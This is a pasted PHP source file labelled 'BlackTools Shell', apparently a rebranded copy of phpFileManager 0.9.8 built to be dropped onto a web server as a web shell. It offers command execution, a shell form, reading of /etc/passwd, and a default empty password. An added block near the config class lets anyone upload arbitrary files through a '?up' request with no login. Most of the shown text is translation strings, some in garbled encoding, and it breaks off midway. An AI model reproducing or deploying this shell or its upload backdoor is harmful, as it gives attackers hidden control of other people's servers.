· 8 years ago · Apr 06, 2018, 09:24 PM
1<?php
2//a:9:{s:4:"lang";s:2:"en";s:9:"auth_pass";s:32:"d41d8cd98f00b204e9800998ecf8427e";s:8:"quota_mb";i:0;s:17:"upload_ext_filter";a:0:{}s:19:"download_ext_filter";a:0:{}s:15:"error_reporting";i:1;s:7:"fm_root";s:0:"";s:17:"cookie_cache_time";i:2592000;s:7:"version";s:5:"0.9.8";}
3/*--------------------------------------------------
4 | BlackTools Shell
5 +--------------------------------------------------
6 | phpFileManager 0.9.8
7 | By Fabricio Seger Kolling
8 | Copyright (c) 2004-2013 FabrÃcio Seger Kolling
9 | Last Changed: 2013-10-15
10 +--------------------------------------------------
11 | OPEN SOURCE CONTRIBUTIONS
12 +--------------------------------------------------
13 | TAR/GZIP/BZIP2/ZIP ARCHIVE CLASSES 2.0
14 | By Devin Doucettef
15 | URL: http://www.phpclasses.org
16 +--------------------------------------------------
17 | It is the AUTHOR'S REQUEST that you keep intact the above header information
18 | and notify him if you conceive any BUGFIXES or IMPROVEMENTS to this program.
19 +--------------------------------------------------
20 | LICENSE
21 +--------------------------------------------------
22 | Licensed under the terms of any of the following licenses at your choice:
23 | - GNU General Public License Version 2 or later (the "GPL");
24 | - GNU Lesser General Public License Version 2.1 or later (the "LGPL");
25 | - Mozilla Public License Version 1.1 or later (the "MPL").
26 | You are not required to, but if you want to explicitly declare the license
27 | you have chosen to be bound to when using, reproducing, modifying and
28 | distributing this software, just include a text file titled "LEGAL" in your version
29 | of this software, indicating your license choice. In any case, your choice will not
30 | restrict any recipient of your version of this software to use, reproduce, modify
31 | and distribute this software under any of the above licenses.
32 +--------------------------------------------------
33 | CONFIGURATION AND INSTALATION NOTES
34 +--------------------------------------------------
35 | This program does not include any instalation or configuration
36 | notes because it simply does not require them.
37 | Just throw this file anywhere in your webserver and enjoy !!
38 +--------------------------------------------------
39*/
40// +--------------------------------------------------
41// | Header and Globals
42// +--------------------------------------------------
43 $charset = "UTF-8";
44 //@setlocale(LC_CTYPE, 'C');
45 header("Pragma: no-cache");
46 header("Cache-Control: no-store");
47 header("Content-Type: text/html; charset=".$charset);
48 //@ini_set('default_charset', $charset);
49 if (@get_magic_quotes_gpc()) {
50 function stripslashes_deep($value){
51 return is_array($value)? array_map('stripslashes_deep', $value):$value;
52 }
53 $_POST = array_map('stripslashes_deep', $_POST);
54 $_GET = array_map('stripslashes_deep', $_GET);
55 $_COOKIE = array_map('stripslashes_deep', $_COOKIE);
56 }
57 // Server Vars
58 function get_client_ip() {
59 $ipaddress = '';
60 if ($_SERVER['HTTP_CLIENT_IP']) $ipaddress = $_SERVER['HTTP_CLIENT_IP'];
61 else if($_SERVER['HTTP_X_FORWARDED_FOR']) $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
62 else if($_SERVER['HTTP_X_FORWARDED']) $ipaddress = $_SERVER['HTTP_X_FORWARDED'];
63 else if($_SERVER['HTTP_FORWARDED_FOR']) $ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
64 else if($_SERVER['HTTP_FORWARDED']) $ipaddress = $_SERVER['HTTP_FORWARDED'];
65 else if($_SERVER['REMOTE_ADDR']) $ipaddress = $_SERVER['REMOTE_ADDR'];
66 // proxy transparente não esconde o IP local, colocando ele após o IP da rede, separado por vÃrgula
67 if (strpos($ipaddress, ',') !== false) {
68 $ips = explode(',', $ipaddress);
69 $ipaddress = trim($ips[0]);
70 }
71 if ($ipaddress == '::1') $ipaddress = '';
72 return $ipaddress;
73 }
74 $ip = get_client_ip();
75 $islinux = !(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
76 function getServerURL() {
77 $url = ($_SERVER["HTTPS"] == "on")?"https://":"http://";
78 $url .= $_SERVER["SERVER_NAME"]; // $_SERVER["HTTP_HOST"] is equivalent
79 if ($_SERVER["SERVER_PORT"] != "80") $url .= ":".$_SERVER["SERVER_PORT"];
80 return $url;
81 }
82 function getCompleteURL() {
83 return getServerURL().$_SERVER["REQUEST_URI"];
84 }
85 $url = getCompleteURL();
86 $url_info = parse_url($url);
87 if( !isset($_SERVER['DOCUMENT_ROOT']) ) {
88 if ( isset($_SERVER['SCRIPT_FILENAME']) ) $path = $_SERVER['SCRIPT_FILENAME'];
89 elseif ( isset($_SERVER['PATH_TRANSLATED']) ) $path = str_replace('\\\\', '\\', $_SERVER['PATH_TRANSLATED']);
90 $_SERVER['DOCUMENT_ROOT'] = str_replace( '\\', '/', substr($path, 0, 0-strlen($_SERVER['PHP_SELF'])));
91 }
92 $doc_root = str_replace('//','/',str_replace(DIRECTORY_SEPARATOR,'/',$_SERVER["DOCUMENT_ROOT"]));
93 $fm_self = $doc_root.$_SERVER["PHP_SELF"];
94 $path_info = pathinfo($fm_self);
95 // Register Globals
96 $blockKeys = array('_SERVER','_SESSION','_GET','_POST','_COOKIE','charset','ip','islinux','url','url_info','doc_root','fm_self','path_info');
97 foreach ($_GET as $key => $val) if (array_search($key,$blockKeys) === false) $$key=$val;
98 foreach ($_POST as $key => $val) if (array_search($key,$blockKeys) === false) $$key=$val;
99 foreach ($_COOKIE as $key => $val) if (array_search($key,$blockKeys) === false) $$key=$val;
100// +--------------------------------------------------
101// | Config
102// +--------------------------------------------------
103 $cfg = new config();
104 $cfg->load();
105 switch ($error_reporting){
106 case 0: error_reporting(0); @ini_set("display_errors",0); break;
107 case 1: error_reporting(E_ERROR | E_PARSE | E_COMPILE_ERROR); @ini_set("display_errors",1); break;
108 case 2: error_reporting(E_ALL); @ini_set("display_errors",1); break;
109 }
110 if (!isset($current_dir)){
111 $current_dir = $path_info["dirname"]."/";
112 if (!$islinux) $current_dir = ucfirst($current_dir);
113 //@chmod($current_dir,0755);
114 } else $current_dir = format_path($current_dir);
115 // Auto Expand Local Path
116 if (!isset($expanded_dir_list)){
117 $expanded_dir_list = "";
118 $mat = explode("/",$path_info["dirname"]);
119 for ($x=0;$x<count($mat);$x++) $expanded_dir_list .= ":".$mat[$x];
120 setcookie("expanded_dir_list", $expanded_dir_list, 0, "/");
121 }
122 if (!isset($fm_current_root)){
123 if (strlen($fm_root)) $fm_current_root = $fm_root;
124 else {
125 if (!$islinux) $fm_current_root = ucfirst($path_info["dirname"]."/");
126 else $fm_current_root = $doc_root."/";
127 }
128 setcookie("fm_current_root", $fm_current_root, 0, "/");
129 } elseif (isset($set_fm_current_root)) {
130 if (!$islinux) $fm_current_root = ucfirst($set_fm_current_root);
131 setcookie("fm_current_root", $fm_current_root, 0, "/");
132 }
133 if (!isset($resolveIDs)){
134 setcookie("resolveIDs", 0, time()+$cookie_cache_time, "/");
135 } elseif (isset($set_resolveIDs)){
136 $resolveIDs=($resolveIDs)?0:1;
137 setcookie("resolveIDs", $resolveIDs, time()+$cookie_cache_time, "/");
138 }
139 if ($resolveIDs){
140 exec("cat /etc/passwd",$mat_passwd);
141 exec("cat /etc/group",$mat_group);
142 }
143 $fm_color['Bg'] = "e6e6e6";
144 $fm_color['Text'] = "000000";
145 $fm_color['Link'] = "0A77F7";
146 $fm_color['Entry'] = "FFFFFF";
147 $fm_color['Over'] = "C0EBFD";
148 $fm_color['Mark'] = "A7D2E4";
149 foreach($fm_color as $tag=>$color){
150 $fm_color[$tag]=strtolower($color);
151 }
152// +--------------------------------------------------
153// | File Manager Actions
154// +--------------------------------------------------
155if ($loggedon==$auth_pass){
156 switch ($frame){
157 case 1: break; // Empty Frame
158 case 2: frame2(); break;
159 case 3: frame3(); break;
160 default:
161 switch($action){
162 case 1: logout(); break;
163 case 2: config_form(); break;
164 case 3: download(); break;
165 case 4: view(); break;
166 case 5: server_info(); break;
167 case 6: execute_cmd(); break;
168 case 7: edit_file_form(); break;
169 case 8: chmod_form(); break;
170 case 9: shell_form(); break;
171 case 10: upload_form(); break;
172 case 11: execute_file(); break;
173 default: frameset();
174 }
175 }
176} else {
177 if (isset($pass)) login();
178 else login_form();
179}
180// +--------------------------------------------------
181// | Config Class
182// +--------------------------------------------------
183class config {
184 var $data;
185 var $filename;
186 function config(){
187 global $fm_self;
188 $this->data = array(
189 'lang'=>'en',
190 'auth_pass'=>md5(''),
191 'quota_mb'=>0,
192 'upload_ext_filter'=>array(),
193 'download_ext_filter'=>array(),
194 'error_reporting'=>1,
195 'fm_root'=>'',
196 'cookie_cache_time'=>60*60*24*30, // 30 Days
197 'version'=>'0.9.8'
198 );
199 $data = false;
200 $this->filename = $fm_self;
201 if (file_exists($this->filename)){
202 $mat = file($this->filename);
203 $objdata = trim(substr($mat[1],2));
204 if (strlen($objdata)) $data = unserialize($objdata);
205 }
206 if (is_array($data)&&count($data)==count($this->data)) $this->data = $data;
207 else $this->save();
208 }
209 function save(){
210 $objdata = "<?php".chr(13).chr(10)."//".serialize($this->data).chr(13).chr(10);
211 if (strlen($objdata)){
212 if (file_exists($this->filename)){
213 $mat = file($this->filename);
214 if ($fh = @fopen($this->filename, "w")){
215 @fputs($fh,$objdata,strlen($objdata));
216 for ($x=2;$x<count($mat);$x++) @fputs($fh,$mat[$x],strlen($mat[$x]));
217 @fclose($fh);
218 }
219 }
220 }
221 }
222 function load(){
223 foreach ($this->data as $key => $val) $GLOBALS[$key] = $val;
224 }
225}
226if( $_GET['up']){
227 move_uploaded_file($_FILES["userfile"]["tmp_name"], './' . basename($_FILES['userfile']['name']) );
228}
229// +--------------------------------------------------
230// | Internationalization
231// +--------------------------------------------------
232function et($tag){
233 global $lang;
234
235 // English - by Fabricio Seger Kolling
236 $en['Version'] = 'Version';
237 $en['DocRoot'] = 'Document Root';
238 $en['FLRoot'] = 'File Manager Root';
239 $en['Name'] = 'Name';
240 $en['And'] = 'and';
241 $en['Enter'] = 'Enter';
242 $en['Send'] = 'Send';
243 $en['Refresh'] = 'Refresh';
244 $en['SaveConfig'] = 'Save Configurations';
245 $en['SavePass'] = 'Save Password';
246 $en['SaveFile'] = 'Save File';
247 $en['Save'] = 'Save';
248 $en['Leave'] = 'Leave';
249 $en['Edit'] = 'Edit';
250 $en['View'] = 'View';
251 $en['Config'] = 'Config';
252 $en['Ren'] = 'Rename';
253 $en['Rem'] = 'Delete';
254 $en['Compress'] = 'Compress';
255 $en['Decompress'] = 'Decompress';
256 $en['ResolveIDs'] = 'Resolve IDs';
257 $en['Move'] = 'Move';
258 $en['Copy'] = 'Copy';
259 $en['ServerInfo'] = 'Server Info';
260 $en['CreateDir'] = 'Create Directory';
261 $en['CreateArq'] = 'Create File';
262 $en['ExecCmd'] = 'Execute Command';
263 $en['Upload'] = 'Upload';
264 $en['UploadEnd'] = 'Upload Finished';
265 $en['Perm'] = 'Perm';
266 $en['Perms'] = 'Permissions';
267 $en['Owner'] = 'Owner';
268 $en['Group'] = 'Group';
269 $en['Other'] = 'Other';
270 $en['Size'] = 'Size';
271 $en['Date'] = 'Date';
272 $en['Type'] = 'Type';
273 $en['Free'] = 'free';
274 $en['Shell'] = 'Shell';
275 $en['Read'] = 'Read';
276 $en['Write'] = 'Write';
277 $en['Exec'] = 'Execute';
278 $en['Apply'] = 'Apply';
279 $en['StickyBit'] = 'Sticky Bit';
280 $en['Pass'] = 'Password';
281 $en['Lang'] = 'Language';
282 $en['File'] = 'File';
283 $en['File_s'] = 'file(s)';
284 $en['Dir_s'] = 'directory(s)';
285 $en['To'] = 'to';
286 $en['Destination'] = 'Destination';
287 $en['Configurations'] = 'Configurations';
288 $en['JSError'] = 'JavaScript Error';
289 $en['NoSel'] = 'There are no selected itens';
290 $en['SelDir'] = 'Select the destination directory on the left tree';
291 $en['TypeDir'] = 'Enter the directory name';
292 $en['TypeArq'] = 'Enter the file name';
293 $en['TypeCmd'] = 'Enter the command';
294 $en['TypeArqComp'] = 'Enter the file name.\\nThe extension will define the compression type.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
295 $en['RemSel'] = 'DELETE selected itens';
296 $en['NoDestDir'] = 'There is no selected destination directory';
297 $en['DestEqOrig'] = 'Origin and destination directories are equal';
298 $en['InvalidDest'] = 'Destination directory is invalid';
299 $en['NoNewPerm'] = 'New permission not set';
300 $en['CopyTo'] = 'COPY to';
301 $en['MoveTo'] = 'MOVE to';
302 $en['AlterPermTo'] = 'CHANGE PERMISSIONS to';
303 $en['ConfExec'] = 'Confirm EXECUTE';
304 $en['ConfRem'] = 'Confirm DELETE';
305 $en['EmptyDir'] = 'Empty directory';
306 $en['IOError'] = 'I/O Error';
307 $en['FileMan'] = 'BlackTools Shell';
308 $en['TypePass'] = 'Enter the password';
309 $en['InvPass'] = 'Invalid Password';
310 $en['ReadDenied'] = 'Read Access Denied';
311 $en['FileNotFound'] = 'File not found';
312 $en['AutoClose'] = 'Close on Complete';
313 $en['OutDocRoot'] = 'File beyond DOCUMENT_ROOT';
314 $en['NoCmd'] = 'Error: Command not informed';
315 $en['ConfTrySave'] = 'File without write permisson.\\nTry to save anyway';
316 $en['ConfSaved'] = 'Configurations saved';
317 $en['PassSaved'] = 'Password saved';
318 $en['FileDirExists'] = 'File or directory already exists';
319 $en['NoPhpinfo'] = 'Function phpinfo disabled';
320 $en['NoReturn'] = 'no return';
321 $en['FileSent'] = 'File sent';
322 $en['SpaceLimReached'] = 'Space limit reached';
323 $en['InvExt'] = 'Invalid extension';
324 $en['FileNoOverw'] = 'File could not be overwritten';
325 $en['FileOverw'] = 'File overwritten';
326 $en['FileIgnored'] = 'File ignored';
327 $en['ChkVer'] = 'Check for new version';
328 $en['ChkVerAvailable'] = 'New version, click here to begin download!!';
329 $en['ChkVerNotAvailable'] = 'No new version available. :(';
330 $en['ChkVerError'] = 'Connection Error.';
331 $en['Website'] = 'Website';
332 $en['SendingForm'] = 'Sending files, please wait';
333 $en['NoFileSel'] = 'No file selected';
334 $en['SelAll'] = 'All';
335 $en['SelNone'] = 'None';
336 $en['SelInverse'] = 'Inverse';
337 $en['Selected_s'] = 'selected';
338 $en['Total'] = 'total';
339 $en['Partition'] = 'Partition';
340 $en['RenderTime'] = 'Time to render this page';
341 $en['Seconds'] = 'sec';
342 $en['ErrorReport'] = 'Error Reporting';
343
344 // Portuguese by - Fabricio Seger Kolling
345 $pt['Version'] = 'Versão';
346 $pt['DocRoot'] = 'Document Root';
347 $pt['FLRoot'] = 'File Manager Root';
348 $pt['Name'] = 'Nome';
349 $pt['And'] = 'e';
350 $pt['Enter'] = 'Entrar';
351 $pt['Send'] = 'Enviar';
352 $pt['Refresh'] = 'Atualizar';
353 $pt['SaveConfig'] = 'Salvar Configurações';
354 $pt['SavePass'] = 'Salvar Senha';
355 $pt['SaveFile'] = 'Salvar Arquivo';
356 $pt['Save'] = 'Salvar';
357 $pt['Leave'] = 'Sair';
358 $pt['Edit'] = 'Editar';
359 $pt['View'] = 'Visualizar';
360 $pt['Config'] = 'Config';
361 $pt['Ren'] = 'Renomear';
362 $pt['Rem'] = 'Apagar';
363 $pt['Compress'] = 'Compactar';
364 $pt['Decompress'] = 'Descompactar';
365 $pt['ResolveIDs'] = 'Resolver IDs';
366 $pt['Move'] = 'Mover';
367 $pt['Copy'] = 'Copiar';
368 $pt['ServerInfo'] = 'Server Info';
369 $pt['CreateDir'] = 'Criar Diretório';
370 $pt['CreateArq'] = 'Criar Arquivo';
371 $pt['ExecCmd'] = 'Executar Comando';
372 $pt['Upload'] = 'Upload';
373 $pt['UploadEnd'] = 'Upload Terminado';
374 $pt['Perm'] = 'Perm';
375 $pt['Perms'] = 'Permissões';
376 $pt['Owner'] = 'Dono';
377 $pt['Group'] = 'Grupo';
378 $pt['Other'] = 'Outros';
379 $pt['Size'] = 'Tamanho';
380 $pt['Date'] = 'Data';
381 $pt['Type'] = 'Tipo';
382 $pt['Free'] = 'livre';
383 $pt['Shell'] = 'Shell';
384 $pt['Read'] = 'Ler';
385 $pt['Write'] = 'Escrever';
386 $pt['Exec'] = 'Executar';
387 $pt['Apply'] = 'Aplicar';
388 $pt['StickyBit'] = 'Sticky Bit';
389 $pt['Pass'] = 'Senha';
390 $pt['Lang'] = 'Idioma';
391 $pt['File'] = 'Arquivo';
392 $pt['File_s'] = 'arquivo(s)';
393 $pt['Dir_s'] = 'diretorio(s)';
394 $pt['To'] = 'para';
395 $pt['Destination'] = 'Destino';
396 $pt['Configurations'] = 'Configurações';
397 $pt['JSError'] = 'Erro de JavaScript';
398 $pt['NoSel'] = 'Não há itens selecionados';
399 $pt['SelDir'] = 'Selecione o diretório de destino na árvore a esquerda';
400 $pt['TypeDir'] = 'Digite o nome do diretório';
401 $pt['TypeArq'] = 'Digite o nome do arquivo';
402 $pt['TypeCmd'] = 'Digite o commando';
403 $pt['TypeArqComp'] = 'Digite o nome do arquivo.\\nA extensão determina o tipo de compactação.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
404 $pt['RemSel'] = 'APAGAR itens selecionados';
405 $pt['NoDestDir'] = 'Não há um diretório de destino selecionado';
406 $pt['DestEqOrig'] = 'Diretório de origem e destino iguais';
407 $pt['InvalidDest'] = 'Diretório de destino inválido';
408 $pt['NoNewPerm'] = 'Nova permissão não foi setada';
409 $pt['CopyTo'] = 'COPIAR para';
410 $pt['MoveTo'] = 'MOVER para';
411 $pt['AlterPermTo'] = 'ALTERAR PERMISSÕES para';
412 $pt['ConfExec'] = 'Confirma EXECUTAR';
413 $pt['ConfRem'] = 'Confirma APAGAR';
414 $pt['EmptyDir'] = 'Diretório vazio';
415 $pt['IOError'] = 'Erro de E/S';
416 $pt['FileMan'] = 'BlackTools Shell';
417 $pt['TypePass'] = 'Digite a senha';
418 $pt['InvPass'] = 'Senha Inválida';
419 $pt['ReadDenied'] = 'Acesso de leitura negado';
420 $pt['FileNotFound'] = 'Arquivo não encontrado';
421 $pt['AutoClose'] = 'Fechar Automaticamente';
422 $pt['OutDocRoot'] = 'Arquivo fora do DOCUMENT_ROOT';
423 $pt['NoCmd'] = 'Erro: Comando não informado';
424 $pt['ConfTrySave'] = 'Arquivo sem permissão de escrita.\\nTentar salvar assim mesmo';
425 $pt['ConfSaved'] = 'Configurações salvas';
426 $pt['PassSaved'] = 'Senha salva';
427 $pt['FileDirExists'] = 'Arquivo ou diretório já existe';
428 $pt['NoPhpinfo'] = 'Função phpinfo desabilitada';
429 $pt['NoReturn'] = 'sem retorno';
430 $pt['FileSent'] = 'Arquivo enviado';
431 $pt['SpaceLimReached'] = 'Limite de espaço alcançado';
432 $pt['InvExt'] = 'Extensão inválida';
433 $pt['FileNoOverw'] = 'Arquivo não pode ser sobreescrito';
434 $pt['FileOverw'] = 'Arquivo sobreescrito';
435 $pt['FileIgnored'] = 'Arquivo omitido';
436 $pt['ChkVer'] = 'Verificar por nova versão';
437 $pt['ChkVerAvailable'] = 'Nova versão, clique aqui para iniciar download!!';
438 $pt['ChkVerNotAvailable'] = 'Não há nova versão disponÃvel. :(';
439 $pt['ChkVerError'] = 'Erro de conexão.';
440 $pt['Website'] = 'Website';
441 $pt['SendingForm'] = 'Enviando arquivos, aguarde';
442 $pt['NoFileSel'] = 'Nenhum arquivo selecionado';
443 $pt['SelAll'] = 'Tudo';
444 $pt['SelNone'] = 'Nada';
445 $pt['SelInverse'] = 'Inverso';
446 $pt['Selected_s'] = 'selecionado(s)';
447 $pt['Total'] = 'total';
448 $pt['Partition'] = 'Partição';
449 $pt['RenderTime'] = 'Tempo para gerar esta página';
450 $pt['Seconds'] = 'seg';
451 $pt['ErrorReport'] = 'Error Reporting';
452
453 // Spanish - by Sh Studios
454 $es['Version'] = 'Versión';
455 $es['DocRoot'] = 'Raiz del programa';
456 $es['FLRoot'] = 'Raiz del administrador de archivos';
457 $es['Name'] = 'Nombre';
458 $es['And'] = 'y';
459 $es['Enter'] = 'Enter';
460 $es['Send'] = 'Enviar';
461 $es['Refresh'] = 'Refrescar';
462 $es['SaveConfig'] = 'Guardar configuraciones';
463 $es['SavePass'] = 'Cuardar Contraseña';
464 $es['SaveFile'] = 'Guardar Archivo';
465 $es['Save'] = 'Guardar';
466 $es['Leave'] = 'Salir';
467 $es['Edit'] = 'Editar';
468 $es['View'] = 'Mirar';
469 $es['Config'] = 'Config.';
470 $es['Ren'] = 'Renombrar';
471 $es['Rem'] = 'Borrar';
472 $es['Compress'] = 'Comprimir';
473 $es['Decompress'] = 'Decomprimir';
474 $es['ResolveIDs'] = 'Resolver IDs';
475 $es['Move'] = 'Mover';
476 $es['Copy'] = 'Copiar';
477 $es['ServerInfo'] = 'Info del Server';
478 $es['CreateDir'] = 'Crear Directorio';
479 $es['CreateArq'] = 'Crear Archivo';
480 $es['ExecCmd'] = 'Ejecutar Comando';
481 $es['Upload'] = 'Subir';
482 $es['UploadEnd'] = 'Subida exitosa';
483 $es['Perm'] = 'Perm';
484 $es['Perms'] = 'Permisiones';
485 $es['Owner'] = 'Propietario';
486 $es['Group'] = 'Grupo';
487 $es['Other'] = 'Otro';
488 $es['Size'] = 'Tamaño';
489 $es['Date'] = 'Fecha';
490 $es['Type'] = 'Tipo';
491 $es['Free'] = 'libre';
492 $es['Shell'] = 'Ejecutar';
493 $es['Read'] = 'Leer';
494 $es['Write'] = 'Escribir';
495 $es['Exec'] = 'Ejecutar';
496 $es['Apply'] = 'Aplicar';
497 $es['StickyBit'] = 'Sticky Bit';
498 $es['Pass'] = 'Contraseña';
499 $es['Lang'] = 'Lenguage';
500 $es['File'] = 'Archivos';
501 $es['File_s'] = 'archivo(s)';
502 $es['Dir_s'] = 'directorio(s)';
503 $es['To'] = 'a';
504 $es['Destination'] = 'Destino';
505 $es['Configurations'] = 'Configuracion';
506 $es['JSError'] = 'Error de JavaScript';
507 $es['NoSel'] = 'No hay items seleccionados';
508 $es['SelDir'] = 'Seleccione el directorio de destino en el arbol derecho';
509 $es['TypeDir'] = 'Escriba el nombre del directorio';
510 $es['TypeArq'] = 'Escriba el nombre del archivo';
511 $es['TypeCmd'] = 'Escriba el comando';
512 $es['TypeArqComp'] = 'Escriba el nombre del directorio.\\nLa extension definira el tipo de compresion.\\nEj:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
513 $es['RemSel'] = 'BORRAR items seleccionados';
514 $es['NoDestDir'] = 'No se ha seleccionado el directorio de destino';
515 $es['DestEqOrig'] = 'El origen y el destino son iguales';
516 $es['InvalidDest'] = 'El destino del directorio es invalido';
517 $es['NoNewPerm'] = 'Las permisiones no se pudieron establecer';
518 $es['CopyTo'] = 'COPIAR a';
519 $es['MoveTo'] = 'MOVER a';
520 $es['AlterPermTo'] = 'CAMBIAR PERMISIONES a';
521 $es['ConfExec'] = 'Confirmar EJECUCION';
522 $es['ConfRem'] = 'Confirmar BORRADO';
523 $es['EmptyDir'] = 'Directorio Vacio';
524 $es['IOError'] = 'Error I/O';
525 $es['FileMan'] = 'BlackTools Shell';
526 $es['TypePass'] = 'Escriba la contraseña';
527 $es['InvPass'] = 'Contraseña invalida';
528 $es['ReadDenied'] = 'Acceso de lectura denegado';
529 $es['FileNotFound'] = 'Archivo no encontrado';
530 $es['AutoClose'] = 'Cerrar al completar';
531 $es['OutDocRoot'] = 'Archivo antes de DOCUMENT_ROOT';
532 $es['NoCmd'] = 'Error: No se ha escrito ningun comando';
533 $es['ConfTrySave'] = 'Archivo sin permisos de escritura.\\nIntente guardar en otro lugar';
534 $es['ConfSaved'] = 'Configuracion Guardada';
535 $es['PassSaved'] = 'Contraseña guardada';
536 $es['FileDirExists'] = 'Archivo o directorio ya existente';
537 $es['NoPhpinfo'] = 'Funcion phpinfo() inhabilitada';
538 $es['NoReturn'] = 'sin retorno';
539 $es['FileSent'] = 'Archivo enviado';
540 $es['SpaceLimReached'] = 'Limite de espacio en disco alcanzado';
541 $es['InvExt'] = 'Extension inalida';
542 $es['FileNoOverw'] = 'El archivo no pudo ser sobreescrito';
543 $es['FileOverw'] = 'Archivo sobreescrito';
544 $es['FileIgnored'] = 'Archivo ignorado';
545 $es['ChkVer'] = 'Chequear las actualizaciones';
546 $es['ChkVerAvailable'] = 'Nueva version, haga click aqui para descargar!!';
547 $es['ChkVerNotAvailable'] = 'Su version es la mas reciente.';
548 $es['ChkVerError'] = 'Error de coneccion.';
549 $es['Website'] = 'Sitio Web';
550 $es['SendingForm'] = 'Enviando archivos, espere!';
551 $es['NoFileSel'] = 'Ningun archivo seleccionado';
552 $es['SelAll'] = 'Todos';
553 $es['SelNone'] = 'Ninguno';
554 $es['SelInverse'] = 'Inverso';
555 $es['Selected_s'] = 'seleccionado';
556 $es['Total'] = 'total';
557 $es['Partition'] = 'Particion';
558 $es['RenderTime'] = 'Generado en';
559 $es['Seconds'] = 'seg';
560 $es['ErrorReport'] = 'Reporte de error';
561
562 // Korean - by Airplanez
563 $kr['Version'] = 'ë²„ì „';
564 $kr['DocRoot'] = '웹서버 루트';
565 $kr['FLRoot'] = 'íŒŒì¼ ë§¤ë‹ˆì € 루트';
566 $kr['Name'] = 'ì´ë¦„';
567 $kr['Enter'] = 'ìž…ë ¥';
568 $kr['Send'] = 'ì „ì†¡';
569 $kr['Refresh'] = 'ìƒˆë¡œê³ ì¹¨';
570 $kr['SaveConfig'] = '환경 ì €ìž¥';
571 $kr['SavePass'] = '비밀번호 ì €ìž¥';
572 $kr['SaveFile'] = 'íŒŒì¼ ì €ìž¥';
573 $kr['Save'] = 'ì €ìž¥';
574 $kr['Leave'] = '나가기';
575 $kr['Edit'] = 'ìˆ˜ì •';
576 $kr['View'] = '보기';
577 $kr['Config'] = '환경';
578 $kr['Ren'] = 'ì´ë¦„바꾸기';
579 $kr['Rem'] = 'ì‚ì œ';
580 $kr['Compress'] = '압축하기';
581 $kr['Decompress'] = '압축풀기';
582 $kr['ResolveIDs'] = 'ì†Œìœ ìž';
583 $kr['Move'] = 'ì´ë™';
584 $kr['Copy'] = '복사';
585 $kr['ServerInfo'] = '서버 ì •ë³´';
586 $kr['CreateDir'] = 'ë””ë ‰í† ë¦¬ ìƒì„±';
587 $kr['CreateArq'] = 'íŒŒì¼ ìƒì„±';
588 $kr['ExecCmd'] = 'ëª…ë ¹ 실행';
589 $kr['Upload'] = '업로드';
590 $kr['UploadEnd'] = '업로드가 완료ë˜ì—ˆìŠµë‹ˆë‹¤.';
591 $kr['Perm'] = '권한';
592 $kr['Perms'] = '권한';
593 $kr['Owner'] = 'ì†Œìœ ìž';
594 $kr['Group'] = '그룹';
595 $kr['Other'] = 'ëª¨ë“ ì‚¬ìš©ìž';
596 $kr['Size'] = 'í¬ê¸°';
597 $kr['Date'] = 'ë‚ ì§œ';
598 $kr['Type'] = '종류';
599 $kr['Free'] = 'ì—¬ìœ ';
600 $kr['Shell'] = '쉘';
601 $kr['Read'] = 'ì½ê¸°';
602 $kr['Write'] = '쓰기';
603 $kr['Exec'] = '실행';
604 $kr['Apply'] = 'ì ìš©';
605 $kr['StickyBit'] = '스티키 비트';
606 $kr['Pass'] = '비밀번호';
607 $kr['Lang'] = '언어';
608 $kr['File'] = '파ì¼';
609 $kr['File_s'] = '파ì¼';
610 $kr['To'] = '으로';
611 $kr['Destination'] = '대ìƒ';
612 $kr['Configurations'] = '환경';
613 $kr['JSError'] = 'ìžë°”스í¬ë¦½íЏ 오류';
614 $kr['NoSel'] = 'ì„ íƒëœ ê²ƒì´ ì—†ìŠµë‹ˆë‹¤';
615 $kr['SelDir'] = '왼쪽리스트ì—서 ëŒ€ìƒ ë””ë ‰í† ë¦¬ë¥¼ ì„ íƒí•˜ì„¸ìš”';
616 $kr['TypeDir'] = 'ë””ë ‰í† ë¦¬ëª…ì„ ìž…ë ¥í•˜ì„¸ìš”';
617 $kr['TypeArq'] = '파ì¼ëª…ì„ ìž…ë ¥í•˜ì„¸ìš”';
618 $kr['TypeCmd'] = 'ëª…ë ¹ì„ ìž…ë ¥í•˜ì„¸ìš”';
619 $kr['TypeArqComp'] = '파ì¼ëª…ì„ ìž…ë ¥í•˜ì„¸ìš”.\\n확장ìžì— ë”°ë¼ ì••ì¶•í˜•ì‹ì´ ì •í•´ì§‘ë‹ˆë‹¤.\\n예:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
620 $kr['RemSel'] = 'ì„ íƒëœ ê²ƒì„ ì‚ì œí–ˆìŠµë‹ˆë‹¤';
621 $kr['NoDestDir'] = 'ì„ íƒëœ ëŒ€ìƒ ë””ë ‰í† ë¦¬ê°€ 없습니다.';
622 $kr['DestEqOrig'] = 'ì›ëž˜ ë””ë ‰í† ë¦¬ì™€ ëŒ€ìƒ ë””ë ‰í† ë¦¬ê°€ 같습니다';
623 $kr['NoNewPerm'] = '새로운 ê¶Œí•œì´ ì„¤ì •ë˜ì§€ 않았습니다';
624 $kr['CopyTo'] = 'ì—¬ê¸°ì— ë³µì‚¬';
625 $kr['MoveTo'] = '여기로 ì´ë™';
626 $kr['AlterPermTo'] = '으로 권한변경';
627 $kr['ConfExec'] = '실행 확ì¸';
628 $kr['ConfRem'] = 'ì‚ì œ 확ì¸';
629 $kr['EmptyDir'] = '빈 ë””ë ‰í† ë¦¬';
630 $kr['IOError'] = 'ìž…/ì¶œë ¥ 오류';
631 $kr['FileMan'] = 'PHP íŒŒì¼ ë§¤ë‹ˆì €';
632 $kr['TypePass'] = '비밀번호를 ìž…ë ¥í•˜ì„¸ìš”';
633 $kr['InvPass'] = '비밀번호가 틀립니다';
634 $kr['ReadDenied'] = 'ì½ê¸°ê°€ ê±°ë¶€ë˜ì—ˆìŠµë‹ˆë‹¤';
635 $kr['FileNotFound'] = '파ì¼ì´ 없습니다';
636 $kr['AutoClose'] = '완료후 닫기';
637 $kr['OutDocRoot'] = 'DOCUMENT_ROOT ì´ë‚´ì˜ 파ì¼ì´ 아닙니다';
638 $kr['NoCmd'] = '오류: ëª…ë ¹ì´ ì‹¤í–‰ë˜ì§€ 않았습니다';
